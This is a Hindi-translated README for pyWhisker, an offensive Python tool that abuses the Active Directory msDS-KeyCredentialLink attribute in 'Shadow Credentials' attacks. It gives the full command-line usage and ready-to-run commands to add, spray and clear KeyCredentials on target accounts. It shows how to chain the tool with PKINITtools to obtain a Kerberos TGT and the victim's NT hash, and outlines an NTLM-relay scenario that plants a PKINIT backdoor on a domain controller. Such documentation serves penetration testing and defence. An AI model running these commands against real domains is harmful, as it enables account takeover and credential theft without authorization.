
C# उपकरण का Python संस्करण "Shadow Credentials" हमलों के लिए।
pyWhisker, Elad Shamir द्वारा बनाए गए और C# में लिखे गए मूल Whisker का Python समकक्ष है। यह टूल उपयोगकर्ताओं को किसी लक्ष्य उपयोगकर्ता/कंप्यूटर के msDS-KeyCredentialLink एट्रिब्यूट में हेरफेर करने की अनुमति देता है ताकि उस ऑब्जेक्ट पर पूर्ण नियंत्रण प्राप्त किया जा सके।
यह Impacket और Michael Grafnetter's के DSInternals के Python समकक्ष पर आधारित है जिसे pyDSInternals कहा जाता है और जिसे podalirius ने बनाया है।
यह टूल, Dirk-jan के PKINITtools के साथ मिलकर, केवल UNIX-आधारित सिस्टम पर पूर्ण प्रिमिटिव एक्सप्लॉइटेशन की अनुमति देता है।
इस हमले के लिए पूर्व-आवश्यकताएँ इस प्रकार हैं:
msDs-KeyCredentialLink एट्रिब्यूट को लिखने में सक्षम हो।कुछ पूर्व-आवश्यकताएँ क्यों?
AS_REQ <-> AS_REP लेन-देन के दौरान सत्र कुंजी विनिमय के लिए अपने स्वयं के प्रमाणपत्र और कुंजियों की आवश्यकता होती है।यदि पूर्व-आवश्यकता 3 पूरी नहीं होती है तो एक KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP उठाया जाएगा।
इस "Shadow Credentials" प्रिमिटिव के बारे में अधिक जानकारी:
pyWhisker का उपयोग लक्ष्य के msDs-KeyCredentialLink एट्रिब्यूट पर विभिन्न क्रियाएँ संचालित करने के लिए किया जा सकता है:
msDs-KeyCredentialLink में एक नया KeyCredential जोड़ेंmsDs-KeyCredentialLink में एक नया KeyCredential स्प्रे करेंmsDs-KeyCredentialLink से एक KeyCredential हटाएंmsDs-KeyCredentialLink से सभी KeyCredentials हटाएंmsDs-KeyCredentialLink से सभी KeyCredentials को JSON में निर्यात करेंmsDs-KeyCredentialLink को अधिलेखित करेंpyWhisker निम्नलिखित प्रमाणीकरण का समर्थन करता है:
अन्य चीज़ों के अलावा, pyWhisker बहु-स्तरीय वर्बोसिटी का समर्थन करता है, बस कमांड में -v, -vv, ... जोड़ें :)
pyWhisker क्रॉस-डोमेन भी कर सकता है, -td/--target-domain तर्क देखें।
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
[--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
[-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]
Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.
optional arguments:
-h, --help show this help message and exit
-t TARGET_SAMNAME, --target TARGET_SAMNAME
Target account
-tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
Path to a file with target accounts names (one per line)
-a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
Action to operate on msDS-KeyCredentialLink
--use-ldaps Use LDAPS instead of LDAP
--use-schannel Use LDAP Schannel (TLS) for certificate-based authentication
-v, --verbose verbosity level (-v for verbose, -vv for debug)
-q, --quiet show no information at all
authentication & connection:
--dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
-d DOMAIN, --domain DOMAIN
(FQDN) domain to authenticate to
-u USER, --user USER user to authenticate with
-crt, --certfile CERTFILE
Path to the user certificate (PEM format) for Schannel authentication
-key, --keyfile KEYFILE
Path to the user private key (PEM format) for Schannel authentication
-td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
Target domain (if different than the domain of the authenticating user)
--no-pass don't ask for password (useful for -k)
-p PASSWORD, --password PASSWORD
password to authenticate with
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM hashes, format is LMhash:NThash
--aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
arguments when setting -action to add:
-P PFX_PASSWORD, --pfx-password PFX_PASSWORD
password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
-f FILENAME, --filename FILENAME
filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
-e {PEM,PFX}, --export {PEM,PFX}
choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))
arguments when setting -action to remove:
-D DEVICE_ID, --device-id DEVICE_ID
device ID of the KeyCredentialLink to remove when setting -action to remove
नीचे उदाहरण और स्क्रीनशॉट दिए गए हैं जो pyWhisker की क्षमताओं को दर्शाते हैं।
pyWhisker मौजूदा KeyCredentials को सूचीबद्ध करने की क्षमता रखता है। इसके अतिरिक्त, यह पूरी संरचना को खोलकर उस ऑब्जेक्ट में निहित हर जानकारी (RSA सार्वजनिक कुंजी पैरामीटर सहित) दिखा सकता है।
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

pyWhisker विशिष्ट मानों को हटाने या पूरे एट्रिब्यूट को साफ़ करने की क्षमता रखता है।
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

pyWhisker RSA कुंजियाँ, एक X509 प्रमाणपत्र, एक KeyCredential संरचना उत्पन्न करने और msDs-KeyCredentialLink एट्रिब्यूट में नए मानों के रूप में आवश्यक जानकारी लिखने की क्षमता रखता है। प्रमाणपत्र को PFX प्रारूप (#PKCS12, पासवर्ड से सुरक्षित प्रमाणपत्र + निजी कुंजी) या PEM प्रारूप (PEM प्रमाणपत्र, PEM निजी कुंजी, कोई पासवर्ड नहीं) में निर्यात किया जा सकता है।
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

मान उत्पन्न होने और pyWhisker द्वारा जोड़े जाने के बाद, gettgtpkinit.py के साथ एक TGT का अनुरोध किया जा सकता है। फिर getnthash.py से NT हैश प्राप्त किया जा सकता है।
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

मान उत्पन्न होने और pyWhisker द्वारा जोड़े जाने के बाद, gettgtpkinit.py के साथ एक TGT का अनुरोध किया जा सकता है। फिर getnthash.py से NT हैश प्राप्त किया जा सकता है।
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

pyWhisker एक साथ कई KeyCredentials को लक्ष्यों के एक सेट में जोड़ सकता है, अर्थात स्प्रे (यदि उपयोग किए गए क्रेडेंशियल्स के पास सही अनुमतियाँ हैं)।
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"
msDs-KeyCredentialLink एट्रिब्यूट में संग्रहीत KeyCredentials को पार्स, संरचित और JSON के रूप में सहेजा जा सकता है।

फिर JSON निर्यात का उपयोग msDs-KeyCredentialLink एट्रिब्यूट को निर्यात के समय की स्थिति में पुनर्स्थापित करने के लिए किया जा सकता है।

pyWhisker की "adding" सुविधा को शामिल करने के लिए एक Pull Request को ntlmrelayx में मर्ज किया गया था।

उपयोगकर्ता ऑब्जेक्ट अपने स्वयं के msDS-KeyCredentialLink एट्रिब्यूट को संपादित नहीं कर सकते। हालाँकि, कंप्यूटर ऑब्जेक्ट कर सकते हैं। इसका मतलब है कि निम्नलिखित परिदृश्य काम कर सकता है: DC01 से एक NTLM प्रमाणीकरण ट्रिगर करें, इसे DC02 पर रिले करें, pyWhisker को DC01 के एट्रिब्यूट को संपादित करने दें ताकि उस पर एक Kerberos PKINIT प्री-ऑथेंटिकेशन बैकडोर बनाया जा सके।

कंप्यूटर ऑब्जेक्ट अपने स्वयं के msDS-KeyCredentialLink एट्रिब्यूट को संपादित कर सकते हैं लेकिन केवल तभी एक KeyCredential जोड़ सकते हैं जब कोई पहले से मौजूद न हो।

यदि आप त्रुटियों का सामना करते हैं, तो सुनिश्चित करें कि आपके हमलावर होस्ट और कुंजी वितरण केंद्र (आमतौर पर डोमेन कंट्रोलर) के बीच कोई समय अंतर न हो। इस त्रुटि से बचने के लिए, pyWhisker टूल द्वारा उत्पन्न प्रमाणपत्र वर्तमान तिथि से 40 वर्ष पहले और 40 वर्ष बाद तक मान्य होते हैं।
Dirk-jan को PKINITtools पर उनके काम के लिए श्रेय। हमने शुरू में Kerberos के लिए असममित PKINIT प्री-ऑथेंटिकेशन को लागू करने के लिए Impacket स्क्रिप्ट्स (विशेष रूप से gettgt.py) को रीफैक्टर करने की योजना बनाई थी। उन्होंने हमसे पहले इसे लिखकर हमें बहुत बड़ी परेशानी से बचाया!
Impacket के पीछे पूरी टीम और इसके योगदानकर्ताओं को श्रेय।
Elad Shamir को श्रेय जिन्होंने मूल C# टूल (Whisker) बनाया और Michael Grafnetter को जिन्होंने DSInternals बनाया, एक लाइब्रेरी जो Whisker के अधिकांश भारी काम को करती है। वह वही थे जिन्होंने हमले के प्रिमिटिव को प्रस्तुत करने वाला मूल Black Hat डेमो बनाया।